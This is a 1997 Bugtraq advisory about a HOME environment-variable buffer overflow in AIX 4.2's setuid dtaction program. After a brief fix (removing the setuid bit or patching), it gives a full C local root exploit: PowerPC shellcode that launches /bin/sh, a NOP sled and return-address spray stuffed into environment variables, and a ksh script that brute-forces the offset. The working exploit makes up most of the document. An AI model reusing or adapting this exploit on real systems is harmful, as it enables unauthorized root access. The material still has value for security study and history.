AIX 4.2 HOME environmental variable overflow

Date: Tue, 10 Jun 1997 18:56:24 +0300
From: Georgi Guninski <guninski@hotmail.com>
To: BUGTRAQ@NETSPACE.ORG
Subject: AIX dtaction and HOME vulnerability

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Under AIX 4.2 (probably others) /usr/dt/bin/dtaction does not handle
properly the HOME environment variable and that spawns a root shell. A lot
of other X programs have the same problem and /bin/X11/xlock is well known
to be exploitable.
Tested on AIX 4.2 box.

SOLUTION: #chmod -s /usr/dt/bin/dtaction /bin/X11/xlock
 OR apply patches

-----aixdtaction.c------------------------------------------------
/*
 AIX 4.2,(others?) dtaction and HOME exploit by Georgi Guninski

----------------------------------------
DISCLAIMER

 This program is for educational purpose ONLY. Do not use it without
permission.
 The usual standard disclaimer applies, especially the fact that Georgi
Guninski
 is not liable for any damages caused by direct or  indirect use of
 the information or functionality provided by this program.
 Georgi Guninski, his employer or any Internet provider bears NO
responsibility for content
 or misuse of this program or any derivatives thereof.
 By using this program you accept the fact that any damage (dataloss,
system
 crash, system compromise, etc.) caused by the use of this program is not
 Georgi Guninski's responsibility.

In case you distribute this, please keep the disclaimer and my addresses.
-----------------------------------------
Use the IBM C compiler.
Compile with: cc -g aixdtaction.c
DISPLAY should be set.
SOLUTION: #chmod -s /usr/dt/bin/dtaction                ; at least stops root shells
-----------------
Georgi Guninski
 guninski@hotmail.com
 http://www.geocities.com/ResearchTriangle/1711

Suggestions,comments and job offers are welcome!
10-JUNE-97
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>


char *prog="/usr/dt/bin/dtaction";
char *prog2="dtaction";
extern int execv();

char *createvar(char *name,char *value)
{
char *c;
int l;
l=strlen(name)+strlen(value)+4;
if (! (c=malloc(l))) {perror("error allocating");exit(2);};
strcpy(c,name);
strcat(c,"=");
strcat(c,value);
return c;
}

/*The program*/
main(int argc,char **argv,char **env)
{
/*The code*/
unsigned int code[]={
0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
0x7c0903a6 , 0x4e800420, 0x0
};
/* disassembly
7c0802a6        mfspr   r0,LR
9421fbb0        stu     SP,-1104(SP) --get stack
90010458        st      r0,1112(SP)
3c60f019        cau     r3,r0,0xf019
60632c48        lis     r3,r3,11336
90610440        st      r3,1088(SP)
3c60d002        cau     r3,r0,0xd002
60634c0c        lis     r3,r3,19468
90610444        st      r3,1092(SP)
3c602f62        cau     r3,r0,0x2f62 --'/bin/sh\x01'
6063696e        lis     r3,r3,26990
90610438        st      r3,1080(SP)
3c602f73        cau     r3,r0,0x2f73
60636801        lis     r3,r3,26625
3863ffff        addi    r3,r3,-1
9061043c        st      r3,1084(SP) --terminate with 0
30610438        lis     r3,SP,1080
7c842278        xor     r4,r4,r4    --argv=NULL
80410440        lwz     RTOC,1088(SP)
80010444        lwz     r0,1092(SP) --jump
7c0903a6        mtspr   CTR,r0
4e800420        bctr              --jump
*/

#define MAXBUF 600
unsigned int buf[MAXBUF];
unsigned int frame[MAXBUF];
unsigned int i,nop,mn=100;
int max=280;
unsigned int toc;
unsigned int eco;
unsigned int *pt;
char *t;
unsigned int reta; /* return address */
int corr=3400;
char *args[4];
char *newenv[8];


if (argc>1)
        corr = atoi(argv[1]);

pt=(unsigned *) &execv;
toc=*(pt+1);
eco=*pt;

if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
{
        perror("Bad parameters");
        exit(1);
}

#define OO 7
*((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
*((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff);
*((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
*((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &
0x0000ffff);

reta=(unsigned) &buf[0]+corr;

for(nop=0;nop<mn;nop++)
 buf[nop]=0x4ffffb82;
strcpy((char*)&buf[nop],(char*)&code);
i=nop+strlen( (char*) &code)/4-1;

if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
        || !(reta && 0xff000000))
{
perror("Return address has zero");exit(5);
}

while(i++<max)
 buf[i]=reta;
buf[i]=0;

for(i=0;i<max-1;i++)
 frame[i]=reta;
frame[i]=0;

/* 4 vars 'cause the correct one should be aligned at 4bytes boundary */
newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
newenv[5]=createvar("HOME",(char*)&frame[0]);
newenv[6]=NULL;

args[0]=prog2;
puts("Start...");/*Here we go*/
execve(prog,args,newenv);
perror("Error executing execve \n");
/*      Georgi Guninski guninski@hotmail.com
        http://www.geocities.com/ResearchTriangle/1711*/
}
-brute-script----------------------------------------------------------
#!/bin/ksh
L=200
O=40
while [ $L -lt 12000 ]
do
echo $L
L=`expr $L + 96`
./a.out $L
done